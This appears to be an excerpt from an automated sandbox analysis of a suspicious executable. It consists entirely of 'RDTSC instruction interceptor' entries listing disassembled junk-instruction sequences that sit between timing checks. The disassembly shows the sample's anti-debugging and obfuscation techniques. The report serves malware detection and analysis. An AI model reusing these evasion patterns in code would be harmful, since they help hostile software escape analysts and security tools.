Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613151 second address: 613182 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD295329660h 0x00000008 jmp 00007FD29532965Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jng 00007FD295329678h 0x00000015 jnc 00007FD29532965Eh 0x0000001b pushad 0x0000001c jnl 00007FD295329656h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6136B6 second address: 6136BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6136BD second address: 6136C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6136C5 second address: 6136F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1635h 0x00000007 jmp 00007FD2956E1634h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613AF6 second address: 613B1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329665h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD29532965Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613C69 second address: 613C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613C6F second address: 613C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD29532965Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613C83 second address: 613C8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613C8C second address: 613CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jns 00007FD295329661h 0x0000000d popad 0x0000000e push esi 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613DE5 second address: 613DFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1632h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613DFB second address: 613E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613E05 second address: 613E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613E0B second address: 613E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613E0F second address: 613E15 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613E15 second address: 613E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613E1B second address: 613E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FD2956E1626h 0x0000000a jbe 00007FD2956E1626h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613E2B second address: 613E58 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD295329669h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jc 00007FD29532966Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613E58 second address: 613E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6140F0 second address: 6140FF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 614922 second address: 61494A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD2956E1634h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 61494A second address: 614967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD29532965Ah 0x00000007 js 00007FD295329656h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jl 00007FD295329656h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 614967 second address: 61496D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 61496D second address: 614973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 614AEC second address: 614B23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1635h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c jmp 00007FD2956E1632h 0x00000011 pop edx 0x00000012 ja 00007FD2956E162Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 614B23 second address: 614B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 614B2B second address: 614B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 614B31 second address: 614B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 614DE8 second address: 614E36 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD2956E1626h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d js 00007FD2956E1626h 0x00000013 pop edi 0x00000014 jmp 00007FD2956E1634h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FD2956E1631h 0x00000021 jmp 00007FD2956E1632h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 61511E second address: 61512B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD295329656h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 61512B second address: 615131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 615131 second address: 615148 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD29532965Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 619761 second address: 619787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD2956E162Ah 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FD2956E162Fh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 61996C second address: 619970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6199FB second address: 619A05 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD2956E1626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 619A05 second address: 619A0A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 619AF3 second address: 619AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 619AF9 second address: 619AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 619AFE second address: 619B03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 61BCD7 second address: 61BCEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD29532965Dh 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 620184 second address: 62018A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6220D2 second address: 6220D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 622624 second address: 622635 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edi 0x00000009 jc 00007FD2956E162Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 622804 second address: 62280E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 622966 second address: 62296B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 622DE7 second address: 622DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 622EC2 second address: 622EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6231A0 second address: 6231C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329663h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FD295329658h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6233AB second address: 6233B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6233B0 second address: 6233B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 623493 second address: 62349D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FD2956E1626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 623566 second address: 62356B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 623A05 second address: 623A09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 623A09 second address: 623A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 623A18 second address: 623A97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1632h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FD2956E1628h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 pushad 0x00000025 call 00007FD2956E1631h 0x0000002a sub dword ptr [ebp+122D1998h], eax 0x00000030 pop edi 0x00000031 add dword ptr [ebp+122D17EBh], ebx 0x00000037 popad 0x00000038 push 00000000h 0x0000003a jmp 00007FD2956E1633h 0x0000003f push 00000000h 0x00000041 mov esi, 128BFC3Ch 0x00000046 push eax 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a jno 00007FD2956E1626h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 623A97 second address: 623AA0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 623AA0 second address: 623AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6243B0 second address: 62443F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b clc 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FD295329658h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 add edi, 08A9053Dh 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007FD295329658h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 0000001Ch 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a sub dword ptr [ebp+122D17F7h], esi 0x00000050 mov dword ptr [ebp+1248CBC6h], ecx 0x00000056 xchg eax, ebx 0x00000057 push edx 0x00000058 jg 00007FD295329658h 0x0000005e pushad 0x0000005f popad 0x00000060 pop edx 0x00000061 push eax 0x00000062 pushad 0x00000063 jmp 00007FD295329665h 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62443F second address: 624443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 624C4F second address: 624C54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 625C1D second address: 625C27 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD2956E1626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 624C54 second address: 624C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007FD29532965Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 624C66 second address: 624C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 624C6A second address: 624C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 624C70 second address: 624C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 627401 second address: 627406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 628A1A second address: 628A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 628A1F second address: 628A87 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD295329658h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push edx 0x0000000e pop esi 0x0000000f push 00000000h 0x00000011 pushad 0x00000012 sub dword ptr [ebp+1246EAA6h], edx 0x00000018 jno 00007FD29532965Ch 0x0000001e popad 0x0000001f jno 00007FD29532965Ch 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push esi 0x0000002a call 00007FD295329658h 0x0000002f pop esi 0x00000030 mov dword ptr [esp+04h], esi 0x00000034 add dword ptr [esp+04h], 00000017h 0x0000003c inc esi 0x0000003d push esi 0x0000003e ret 0x0000003f pop esi 0x00000040 ret 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FD295329663h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62E29F second address: 62E32A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1635h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FD2956E1628h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 movzx edi, si 0x0000002a push 00000000h 0x0000002c xor edi, dword ptr [ebp+122D2974h] 0x00000032 jmp 00007FD2956E1634h 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c call 00007FD2956E1628h 0x00000041 pop edx 0x00000042 mov dword ptr [esp+04h], edx 0x00000046 add dword ptr [esp+04h], 00000014h 0x0000004e inc edx 0x0000004f push edx 0x00000050 ret 0x00000051 pop edx 0x00000052 ret 0x00000053 mov edi, dword ptr [ebp+122D2764h] 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f pop edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62E32A second address: 62E330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 634508 second address: 634512 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD2956E1626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63564C second address: 635650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62F4CB second address: 62F4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62E528 second address: 62E53D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 jc 00007FD295329662h 0x0000000d jo 00007FD29532965Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 635650 second address: 635654 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 635654 second address: 63565A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63565A second address: 6356D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FD2956E1626h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FD2956E1628h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b pushad 0x0000002c sbb edx, 5976B60Bh 0x00000032 popad 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 sub edi, 0C892A00h 0x0000003c pop ebx 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push edi 0x00000042 call 00007FD2956E1628h 0x00000047 pop edi 0x00000048 mov dword ptr [esp+04h], edi 0x0000004c add dword ptr [esp+04h], 00000016h 0x00000054 inc edi 0x00000055 push edi 0x00000056 ret 0x00000057 pop edi 0x00000058 ret 0x00000059 stc 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push edx 0x0000005e jmp 00007FD2956E162Fh 0x00000063 pop edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6315AC second address: 6315C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329665h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6325EC second address: 6325F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FD2956E1626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63352D second address: 633532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6315C5 second address: 6315CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FD2956E1626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6315CF second address: 6315D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6365F1 second address: 6365FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6365FD second address: 636601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63360A second address: 633617 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 633617 second address: 63361B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
